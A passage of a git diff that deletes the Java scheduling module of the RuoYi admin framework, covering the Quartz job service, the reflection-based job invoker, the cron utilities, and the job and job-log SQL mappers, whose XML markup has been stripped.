selectJobList(SysJob job) - { - return jobMapper.selectJobList(job); - } - - /** - * 通过调度任务ID查询调度信息 - * - * @param jobId 调度任务ID - * @return 调度任务对象信息 - */ - @Override - public SysJob selectJobById(Long jobId) - { - return jobMapper.selectJobById(jobId); - } - - /** - * 暂停任务 - * - * @param job 调度信息 - */ - @Override - @Transactional - public int pauseJob(SysJob job) throws SchedulerException - { - Long jobId = job.getJobId(); - String jobGroup = job.getJobGroup(); - job.setStatus(ScheduleConstants.Status.PAUSE.getValue()); - int rows = jobMapper.updateJob(job); - if (rows > 0) - { - scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); - } - return rows; - } - - /** - * 恢复任务 - * - * @param job 调度信息 - */ - @Override - @Transactional - public int resumeJob(SysJob job) throws SchedulerException - { - Long jobId = job.getJobId(); - String jobGroup = job.getJobGroup(); - job.setStatus(ScheduleConstants.Status.NORMAL.getValue()); - int rows = jobMapper.updateJob(job); - if (rows > 0) - { - scheduler.resumeJob(ScheduleUtils.getJobKey(jobId, jobGroup)); - } - return rows; - } - - /** - * 删除任务后,所对应的trigger也将被删除 - * - * @param job 调度信息 - */ - @Override - @Transactional - public int deleteJob(SysJob job) throws SchedulerException - { - Long jobId = job.getJobId(); - String jobGroup = job.getJobGroup(); - int rows = jobMapper.deleteJobById(jobId); - if (rows > 0) - { - scheduler.deleteJob(ScheduleUtils.getJobKey(jobId, jobGroup)); - } - return rows; - } - - /** - * 批量删除调度信息 - * - * @param jobIds 需要删除的任务ID - * @return 结果 - */ - @Override - @Transactional - public void deleteJobByIds(Long[] jobIds) throws SchedulerException - { - for (Long jobId : jobIds) - { - SysJob job = jobMapper.selectJobById(jobId); - deleteJob(job); - } - } - - /** - * 任务调度状态修改 - * - * @param job 调度信息 - */ - @Override - @Transactional - public int changeStatus(SysJob job) throws SchedulerException - { - int rows = 0; - String status = job.getStatus(); - if (ScheduleConstants.Status.NORMAL.getValue().equals(status)) - { - rows = resumeJob(job); - } - else if (ScheduleConstants.Status.PAUSE.getValue().equals(status)) - { - rows = pauseJob(job); - } - return rows; - } - - /** - * 立即运行任务 - * - * @param job 调度信息 - */ - @Override - @Transactional - public void run(SysJob job) throws SchedulerException - { - Long jobId = job.getJobId(); - String jobGroup = job.getJobGroup(); - SysJob properties = selectJobById(job.getJobId()); - // 参数 - JobDataMap dataMap = new JobDataMap(); - dataMap.put(ScheduleConstants.TASK_PROPERTIES, properties); - scheduler.triggerJob(ScheduleUtils.getJobKey(jobId, jobGroup), dataMap); - } - - /** - * 新增任务 - * - * @param job 调度信息 调度信息 - */ - @Override - @Transactional - public int insertJob(SysJob job) throws SchedulerException, TaskException - { - job.setStatus(ScheduleConstants.Status.PAUSE.getValue()); - int rows = jobMapper.insertJob(job); - if (rows > 0) - { - ScheduleUtils.createScheduleJob(scheduler, job); - } - return rows; - } - - /** - * 更新任务的时间表达式 - * - * @param job 调度信息 - */ - @Override - @Transactional - public int updateJob(SysJob job) throws SchedulerException, TaskException - { - SysJob properties = selectJobById(job.getJobId()); - int rows = jobMapper.updateJob(job); - if (rows > 0) - { - updateSchedulerJob(job, properties.getJobGroup()); - } - return rows; - } - - /** - * 更新任务 - * - * @param job 任务对象 - * @param jobGroup 任务组名 - */ - public void updateSchedulerJob(SysJob job, String jobGroup) throws SchedulerException, TaskException - { - Long jobId = job.getJobId(); - // 判断是否存在 - JobKey jobKey = ScheduleUtils.getJobKey(jobId, jobGroup); - if (scheduler.checkExists(jobKey)) - { - // 防止创建时存在数据问题 先移除,然后在执行创建操作 - scheduler.deleteJob(jobKey); - } - ScheduleUtils.createScheduleJob(scheduler, job); - } - - /** - * 校验cron表达式是否有效 - * - * @param cronExpression 表达式 - * @return 结果 - */ - @Override - public boolean checkCronExpressionIsValid(String cronExpression) - { - return CronUtils.isValid(cronExpression); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/RyTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/RyTask.java deleted file mode 100644 index 853243b..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/RyTask.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.ruoyi.quartz.task; - -import org.springframework.stereotype.Component; -import com.ruoyi.common.utils.StringUtils; - -/** - * 定时任务调度测试 - * - * @author ruoyi - */ -@Component("ryTask") -public class RyTask -{ - public void ryMultipleParams(String s, Boolean b, Long l, Double d, Integer i) - { - System.out.println(StringUtils.format("执行多参方法: 字符串类型{},布尔类型{},长整型{},浮点型{},整形{}", s, b, l, d, i)); - } - - public void ryParams(String params) - { - System.out.println("执行有参方法:" + params); - } - - public void ryNoParams() - { - System.out.println("执行无参方法"); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java deleted file mode 100644 index 731a5eb..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java +++ /dev/null @@ -1,107 +0,0 @@ -package com.ruoyi.quartz.util; - -import java.util.Date; -import org.quartz.Job; -import org.quartz.JobExecutionContext; -import org.quartz.JobExecutionException; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.constant.ScheduleConstants; -import com.ruoyi.common.utils.ExceptionUtil; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.bean.BeanUtils; -import com.ruoyi.common.utils.spring.SpringUtils; -import com.ruoyi.quartz.domain.SysJob; -import com.ruoyi.quartz.domain.SysJobLog; -import com.ruoyi.quartz.service.ISysJobLogService; - -/** - * 抽象quartz调用 - * - * @author ruoyi - */ -public abstract class AbstractQuartzJob implements Job -{ - private static final Logger log = LoggerFactory.getLogger(AbstractQuartzJob.class); - - /** - * 线程本地变量 - */ - private static ThreadLocal threadLocal = new ThreadLocal<>(); - - @Override - public void execute(JobExecutionContext context) throws JobExecutionException - { - SysJob sysJob = new SysJob(); - BeanUtils.copyBeanProp(sysJob, context.getMergedJobDataMap().get(ScheduleConstants.TASK_PROPERTIES)); - try - { - before(context, sysJob); - if (sysJob != null) - { - doExecute(context, sysJob); - } - after(context, sysJob, null); - } - catch (Exception e) - { - log.error("任务执行异常 - :", e); - after(context, sysJob, e); - } - } - - /** - * 执行前 - * - * @param context 工作执行上下文对象 - * @param sysJob 系统计划任务 - */ - protected void before(JobExecutionContext context, SysJob sysJob) - { - threadLocal.set(new Date()); - } - - /** - * 执行后 - * - * @param context 工作执行上下文对象 - * @param sysJob 系统计划任务 - */ - protected void after(JobExecutionContext context, SysJob sysJob, Exception e) - { - Date startTime = threadLocal.get(); - threadLocal.remove(); - - final SysJobLog sysJobLog = new SysJobLog(); - sysJobLog.setJobName(sysJob.getJobName()); - sysJobLog.setJobGroup(sysJob.getJobGroup()); - sysJobLog.setInvokeTarget(sysJob.getInvokeTarget()); - sysJobLog.setStartTime(startTime); - sysJobLog.setStopTime(new Date()); - long runMs = sysJobLog.getStopTime().getTime() - sysJobLog.getStartTime().getTime(); - sysJobLog.setJobMessage(sysJobLog.getJobName() + " 总共耗时:" + runMs + "毫秒"); - if (e != null) - { - sysJobLog.setStatus(Constants.FAIL); - String errorMsg = StringUtils.substring(ExceptionUtil.getExceptionMessage(e), 0, 2000); - sysJobLog.setExceptionInfo(errorMsg); - } - else - { - sysJobLog.setStatus(Constants.SUCCESS); - } - - // 写入数据库当中 - SpringUtils.getBean(ISysJobLogService.class).addJobLog(sysJobLog); - } - - /** - * 执行方法,由子类重载 - * - * @param context 工作执行上下文对象 - * @param sysJob 系统计划任务 - * @throws Exception 执行过程中的异常 - */ - protected abstract void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception; -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java deleted file mode 100644 index dd53839..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java +++ /dev/null @@ -1,63 +0,0 @@ -package com.ruoyi.quartz.util; - -import java.text.ParseException; -import java.util.Date; -import org.quartz.CronExpression; - -/** - * cron表达式工具类 - * - * @author ruoyi - * - */ -public class CronUtils -{ - /** - * 返回一个布尔值代表一个给定的Cron表达式的有效性 - * - * @param cronExpression Cron表达式 - * @return boolean 表达式是否有效 - */ - public static boolean isValid(String cronExpression) - { - return CronExpression.isValidExpression(cronExpression); - } - - /** - * 返回一个字符串值,表示该消息无效Cron表达式给出有效性 - * - * @param cronExpression Cron表达式 - * @return String 无效时返回表达式错误描述,如果有效返回null - */ - public static String getInvalidMessage(String cronExpression) - { - try - { - new CronExpression(cronExpression); - return null; - } - catch (ParseException pe) - { - return pe.getMessage(); - } - } - - /** - * 返回下一个执行时间根据给定的Cron表达式 - * - * @param cronExpression Cron表达式 - * @return Date 下次Cron表达式执行时间 - */ - public static Date getNextExecution(String cronExpression) - { - try - { - CronExpression cron = new CronExpression(cronExpression); - return cron.getNextValidTimeAfter(new Date(System.currentTimeMillis())); - } - catch (ParseException e) - { - throw new IllegalArgumentException(e.getMessage()); - } - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java deleted file mode 100644 index 40a19bd..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java +++ /dev/null @@ -1,182 +0,0 @@ -package com.ruoyi.quartz.util; - -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.LinkedList; -import java.util.List; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.spring.SpringUtils; -import com.ruoyi.quartz.domain.SysJob; - -/** - * 任务执行工具 - * - * @author ruoyi - */ -public class JobInvokeUtil -{ - /** - * 执行方法 - * - * @param sysJob 系统任务 - */ - public static void invokeMethod(SysJob sysJob) throws Exception - { - String invokeTarget = sysJob.getInvokeTarget(); - String beanName = getBeanName(invokeTarget); - String methodName = getMethodName(invokeTarget); - List methodParams = getMethodParams(invokeTarget); - - if (!isValidClassName(beanName)) - { - Object bean = SpringUtils.getBean(beanName); - invokeMethod(bean, methodName, methodParams); - } - else - { - Object bean = Class.forName(beanName).newInstance(); - invokeMethod(bean, methodName, methodParams); - } - } - - /** - * 调用任务方法 - * - * @param bean 目标对象 - * @param methodName 方法名称 - * @param methodParams 方法参数 - */ - private static void invokeMethod(Object bean, String methodName, List methodParams) - throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, - InvocationTargetException - { - if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0) - { - Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams)); - method.invoke(bean, getMethodParamsValue(methodParams)); - } - else - { - Method method = bean.getClass().getDeclaredMethod(methodName); - method.invoke(bean); - } - } - - /** - * 校验是否为为class包名 - * - * @param str 名称 - * @return true是 false否 - */ - public static boolean isValidClassName(String invokeTarget) - { - return StringUtils.countMatches(invokeTarget, ".") > 1; - } - - /** - * 获取bean名称 - * - * @param invokeTarget 目标字符串 - * @return bean名称 - */ - public static String getBeanName(String invokeTarget) - { - String beanName = StringUtils.substringBefore(invokeTarget, "("); - return StringUtils.substringBeforeLast(beanName, "."); - } - - /** - * 获取bean方法 - * - * @param invokeTarget 目标字符串 - * @return method方法 - */ - public static String getMethodName(String invokeTarget) - { - String methodName = StringUtils.substringBefore(invokeTarget, "("); - return StringUtils.substringAfterLast(methodName, "."); - } - - /** - * 获取method方法参数相关列表 - * - * @param invokeTarget 目标字符串 - * @return method方法相关参数列表 - */ - public static List getMethodParams(String invokeTarget) - { - String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")"); - if (StringUtils.isEmpty(methodStr)) - { - return null; - } - String[] methodParams = methodStr.split(","); - List classs = new LinkedList<>(); - for (int i = 0; i < methodParams.length; i++) - { - String str = StringUtils.trimToEmpty(methodParams[i]); - // String字符串类型,包含' - if (StringUtils.contains(str, "'")) - { - classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class }); - } - // boolean布尔类型,等于true或者false - else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false")) - { - classs.add(new Object[] { Boolean.valueOf(str), Boolean.class }); - } - // long长整形,包含L - else if (StringUtils.containsIgnoreCase(str, "L")) - { - classs.add(new Object[] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L", "")), Long.class }); - } - // double浮点类型,包含D - else if (StringUtils.containsIgnoreCase(str, "D")) - { - classs.add(new Object[] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D", "")), Double.class }); - } - // 其他类型归类为整形 - else - { - classs.add(new Object[] { Integer.valueOf(str), Integer.class }); - } - } - return classs; - } - - /** - * 获取参数类型 - * - * @param methodParams 参数相关列表 - * @return 参数类型列表 - */ - public static Class[] getMethodParamsType(List methodParams) - { - Class[] classs = new Class[methodParams.size()]; - int index = 0; - for (Object[] os : methodParams) - { - classs[index] = (Class) os[1]; - index++; - } - return classs; - } - - /** - * 获取参数值 - * - * @param methodParams 参数相关列表 - * @return 参数值列表 - */ - public static Object[] getMethodParamsValue(List methodParams) - { - Object[] classs = new Object[methodParams.size()]; - int index = 0; - for (Object[] os : methodParams) - { - classs[index] = (Object) os[0]; - index++; - } - return classs; - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java deleted file mode 100644 index 5e13558..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.ruoyi.quartz.util; - -import org.quartz.DisallowConcurrentExecution; -import org.quartz.JobExecutionContext; -import com.ruoyi.quartz.domain.SysJob; - -/** - * 定时任务处理(禁止并发执行) - * - * @author ruoyi - * - */ -@DisallowConcurrentExecution -public class QuartzDisallowConcurrentExecution extends AbstractQuartzJob -{ - @Override - protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception - { - JobInvokeUtil.invokeMethod(sysJob); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java deleted file mode 100644 index e975326..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.ruoyi.quartz.util; - -import org.quartz.JobExecutionContext; -import com.ruoyi.quartz.domain.SysJob; - -/** - * 定时任务处理(允许并发执行) - * - * @author ruoyi - * - */ -public class QuartzJobExecution extends AbstractQuartzJob -{ - @Override - protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception - { - JobInvokeUtil.invokeMethod(sysJob); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java deleted file mode 100644 index 7f4213f..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java +++ /dev/null @@ -1,113 +0,0 @@ -package com.ruoyi.quartz.util; - -import org.quartz.CronScheduleBuilder; -import org.quartz.CronTrigger; -import org.quartz.Job; -import org.quartz.JobBuilder; -import org.quartz.JobDetail; -import org.quartz.JobKey; -import org.quartz.Scheduler; -import org.quartz.SchedulerException; -import org.quartz.TriggerBuilder; -import org.quartz.TriggerKey; -import com.ruoyi.common.constant.ScheduleConstants; -import com.ruoyi.common.exception.job.TaskException; -import com.ruoyi.common.exception.job.TaskException.Code; -import com.ruoyi.quartz.domain.SysJob; - -/** - * 定时任务工具类 - * - * @author ruoyi - * - */ -public class ScheduleUtils -{ - /** - * 得到quartz任务类 - * - * @param sysJob 执行计划 - * @return 具体执行任务类 - */ - private static Class getQuartzJobClass(SysJob sysJob) - { - boolean isConcurrent = "0".equals(sysJob.getConcurrent()); - return isConcurrent ? QuartzJobExecution.class : QuartzDisallowConcurrentExecution.class; - } - - /** - * 构建任务触发对象 - */ - public static TriggerKey getTriggerKey(Long jobId, String jobGroup) - { - return TriggerKey.triggerKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup); - } - - /** - * 构建任务键对象 - */ - public static JobKey getJobKey(Long jobId, String jobGroup) - { - return JobKey.jobKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup); - } - - /** - * 创建定时任务 - */ - public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException - { - Class jobClass = getQuartzJobClass(job); - // 构建job信息 - Long jobId = job.getJobId(); - String jobGroup = job.getJobGroup(); - JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build(); - - // 表达式调度构建器 - CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression()); - cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder); - - // 按新的cronExpression表达式构建一个新的trigger - CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup)) - .withSchedule(cronScheduleBuilder).build(); - - // 放入参数,运行时的方法可以获取 - jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job); - - // 判断是否存在 - if (scheduler.checkExists(getJobKey(jobId, jobGroup))) - { - // 防止创建时存在数据问题 先移除,然后在执行创建操作 - scheduler.deleteJob(getJobKey(jobId, jobGroup)); - } - - scheduler.scheduleJob(jobDetail, trigger); - - // 暂停任务 - if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) - { - scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); - } - } - - /** - * 设置定时任务策略 - */ - public static CronScheduleBuilder handleCronScheduleMisfirePolicy(SysJob job, CronScheduleBuilder cb) - throws TaskException - { - switch (job.getMisfirePolicy()) - { - case ScheduleConstants.MISFIRE_DEFAULT: - return cb; - case ScheduleConstants.MISFIRE_IGNORE_MISFIRES: - return cb.withMisfireHandlingInstructionIgnoreMisfires(); - case ScheduleConstants.MISFIRE_FIRE_AND_PROCEED: - return cb.withMisfireHandlingInstructionFireAndProceed(); - case ScheduleConstants.MISFIRE_DO_NOTHING: - return cb.withMisfireHandlingInstructionDoNothing(); - default: - throw new TaskException("The task misfire policy '" + job.getMisfirePolicy() - + "' cannot be used in cron schedule tasks", Code.CONFIG_ERROR); - } - } -} diff --git a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml deleted file mode 100644 index e608e42..0000000 --- a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - - - - - - - select job_log_id, job_name, job_group, invoke_target, job_message, status, exception_info, create_time - from sys_job_log - - - - - - - - - - delete from sys_job_log where job_log_id = #{jobLogId} - - - - delete from sys_job_log where job_log_id in - - #{jobLogId} - - - - - truncate table sys_job_log - - - - insert into sys_job_log( - job_log_id, - job_name, - job_group, - invoke_target, - job_message, - status, - exception_info, - create_time - )values( - #{jobLogId}, - #{jobName}, - #{jobGroup}, - #{invokeTarget}, - #{jobMessage}, - #{status}, - #{exceptionInfo}, - sysdate() - ) - - - \ No newline at end of file diff --git a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml deleted file mode 100644 index 5605c44..0000000 --- a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - select job_id, job_name, job_group, invoke_target, cron_expression, misfire_policy, concurrent, status, create_by, create_time, remark - from sys_job - - - - - - - - - - delete from sys_job where job_id = #{jobId} - - - - delete from sys_job where job_id in - - #{jobId} - - - - - update sys_job - - job_name = #{jobName}, - job_group = #{jobGroup}, - invoke_target = #{invokeTarget}, - cron_expression = #{cronExpression}, - misfire_policy = #{misfirePolicy}, - concurrent = #{concurrent}, - status = #{status}, - remark = #{remark}, - update_by = #{updateBy}, - update_time = sysdate() - - where job_id = #{jobId} - - - - insert into sys_job( - job_id, - job_name, - job_group, - invoke_target, - cron_expression, - misfire_policy, - concurrent, - status, - remark, - create_by, - create_time - )values( - #{jobId}, - #{jobName}, - #{jobGroup}, - #{invokeTarget}, - #{cronExpression}, - #{misfirePolicy}, - #{concurrent}, - #{status}, - #{remark}, - #{createBy}, - sysdate() - ) - - - \ No newline at end of file